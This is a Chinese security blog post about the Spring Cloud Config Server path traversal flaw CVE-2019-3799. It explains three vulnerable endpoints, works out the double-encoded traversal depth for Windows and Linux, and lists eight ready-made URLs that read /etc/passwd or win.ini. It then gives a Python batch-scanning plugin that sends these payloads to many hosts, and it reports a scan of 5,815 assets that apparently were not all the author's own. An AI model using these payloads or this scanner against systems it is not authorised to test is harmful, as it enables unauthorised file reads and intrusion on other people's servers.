- A+
Spring Cloud Config Server路径穿越漏洞(CVE-2019-3799)的分析文章已经很多了,这里我不在画蛇填足。在分析该漏洞之后,发现了一些小细节,感觉对该漏洞检测还是挺有帮助的。基于发现的这些细节,我们来构造适应各种场景,甚至各种奇葩场景的批量检测脚本!
0x01 简洁原理
Spring cloud config 分客户端和服务端。服务端供客户端查询配置,本次漏洞就是出在服务端。
当客户端提交的访问配置请求,会在服务端被解析为以下2种:
配置文件保存在服务端系统临时文件{system_tmp_path}
下。在需要获取目标配置文件绝对路径时,服务端会将客户端提供的相对路径{path}
和系统临时文件目录{system_tmp_path}
进行拼接。
1 |
config_file_path = {system_tmp_path} + {path} |
由于{path}
客户端可控且未过滤../
,从而导致目录穿越,可读服务端机器上任意文件!
0x02 漏洞检测点
经过分析代码,可以发现,其实该漏洞有三个检查点。不过网上大多数文章提供的漏洞url只是第一处。
我们先看看第一处@RequestMapping
1 |
@RequestMapping("/{name}/{profile}/{label}/**") |
这里name
为应仓库名称,profile
为应配置文件环境label
为git分支名。实际测试中需要label
为存在的分支名(一般git仓库都存在master
分支),否则报错,name
和profile
可以为任意。由此我们可以构造如下url,即可匹配到该@RequestMapping
1 |
http://xxx:8888/aaa/bbb/master/{payload} |
我们接着来看第二处@RequestMapping
1 |
@RequestMapping(value = "/{name}/{profile}/**", params = "useDefaultLabel") |
根据Spring的RequestMapping匹配规则我们很容易构造以下url
1 |
http://xxx.com:8888/aaa/bbb/{payload}?useDefaultLabel=1 |
实际上我们构造的url虽然会被该@RequestMapping
匹配到,但并不会执行该注解处代码。而是执行了以下注解处代码。
12345 |
//org/springframework/cloud/config/server/environment/EnvironmentController.java@RequestMapping("/{name}/{profiles}/{label:.*}")public Environment labelled(...) { ...} |
这是因为我们构造的url,都符合两处注解的匹配规则,但后者匹配度更好优先级更高(*
优先级大于**
),自然优先被框架用于处理请求了。
因此我们可以构造以下链接,让第一个注解匹配度最高,使得程序使用存在漏洞的方法来处理。
1 |
http://xxx.com:8888/aaa/bbb/ccc/{payload}?useDefaultLabel=1 |
第三处,和第一处构造的url一样的,需要在数据包Accept头加入application/octet-stream
即可触发!
0x03 目标操作系统
在黑盒渗透测试时,无法确定目标系统是Windows还是Linux,故最稳妥的方法是构造适合两者的payload,都检测一篇。
-
Linux下读
/etc/passwd
,检查关键字为root:
-
Window下读
c:/Windows/win.ini
,检查关键字为[extensions]
注意: 在Windows下该漏洞无法跨盘符读文件,也就是只能读和系统临时文件夹同盘符的任意路径下任意文件。 所以在Windwos系统下,系统临时文件路径被修改(这种情况比较少),即使目标存在漏洞,我们的payload也无法检测的,目前暂时没有好的解决方案。
0x04 ..%25F的个数
..%252F
是../
的两次URL编码后结果,它是路径穿越的关键,其个数取决于系统临时文件目录的深度。
3.1 默认情况
这里的默认情况是指,服务端系统临时目录采用的是默认路径。
12345678 |
Windows系统临时文件存储路径:file:/C:/Users/ADMINI~1/AppData/Local/Temp/Windows下Spring cloud config server存储配置路径:file:/C:/Users/ADMINI~1/AppData/Local/Temp/config-repo-<randomid>/Linux系统临时文件存储路径:/tmp/Linux下Spring cloud config server存储配置路径:/tmp/config-repo-<randomid>/ |
所以要吃掉所有配置路径,Windwos下第一处漏洞检测需要6个..%252F
,第二处需要7个,第三处需要6个。Linux下第一处2个,第二处需要3个,第三处需要6个。
3.2 极端情况
这里的极端情况是指,服务端系统临时目录被管理员自定义为其他路径,路径深度未知。这时我们可以估计一个最大深度50(相信不会有管理员奇葩到设置更深的目录了)
综合以上各个方面的分析,我们就可以构造出如下8个POC来检查,以应对各种情况该漏洞的检测。
12345678 |
http://xxx:8888/a/b/master/ + {..%252F}*2 + etc%252Fpasswdhttp://xxx:8888/a/b/master/ + {..%252F}*6 + Windows%252Fwin.inihttp://xxx:8888/a/b/master/ + {..%252F}*50 + etc%252Fpasswdhttp://xxx:8888/a/b/master/ + {..%252F}*50 + Windows%252Fwin.inihttp://xxx:8888/a/b/c/ + {..%252F}*3 + etc%252Fpasswd?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*7 + Windows%252Fwin.ini?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*50 + etc%252Fpasswd?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*50 + Windows%252Fwin.ini?useDefaultLabel=a |
0x05 批量检测脚本
下面附上我写的POC-T插件,这里说明下本脚本仅供自查和学习使用,请勿用于非法用途,否则后果自负。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667 |
#coding=utf-8'''Autor: c0ny1Date: 2019-04-20 16:41Description: Directory Traversal with spring-cloud-config-server(CVE-2019-3799)Affected Pivotal Products and Versions: Spring Cloud Config 2.1.0 to 2.1.1 Spring Cloud Config 2.0.0 to 2.0.3 Spring Cloud Config 1.4.0 to 1.4.5 Older unsupported versions are also affected'''import requestsfrom requests import ConnectionErrorWIN_CHECK_KEYWORD = '[extensions]'LINUX_CHECK_KEYWORD = 'root:'def init_poc(): pocs = [] payload = '/a/b/master/' + '..%252F'*2 + 'etc%252Fpasswd' poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/master/' + '..%252F'*6 + 'Windows%252Fwin.ini' poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/master/' + '..%252F'*50 + 'etc%252Fpasswd' poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/master/' + '..%252F'*50 + 'Windows%252Fwin.ini' poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/c/' + '..%252F'*3 + 'etc%252Fpasswd?useDefaultLabel=a' poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/c/' + '..%252F'*7 + 'Windows%252Fwin.ini?useDefaultLabel=a' poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/c/' + '..%252F'*50 + 'etc%252Fpasswd?useDefaultLabel=a' poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD} pocs.append(poc) payload = '/a/b/c/' + '..%252F'*50 + 'Windows%252Fwin.ini?useDefaultLabel=a' poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD} pocs.append(poc) return pocspocs = init_poc()def poc(url):for p in pocs:url = url if not url.endswith('/') else url[0:len(url)-1] #去掉结尾/target_url = url + p.get('payload')try:r = requests.get(target_url,timeout=10)except Exception,e: continueif (r.status_code == 200) and (p.get('keyword') in r.content):return Truereturn False |
去参加Avicii的纪念活动之前就挂着扫描,回来发现成果还不错。扫描5815个资产,存在漏洞的有492。最后希望管理员们及时修复吧!
0x06 参考文章
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫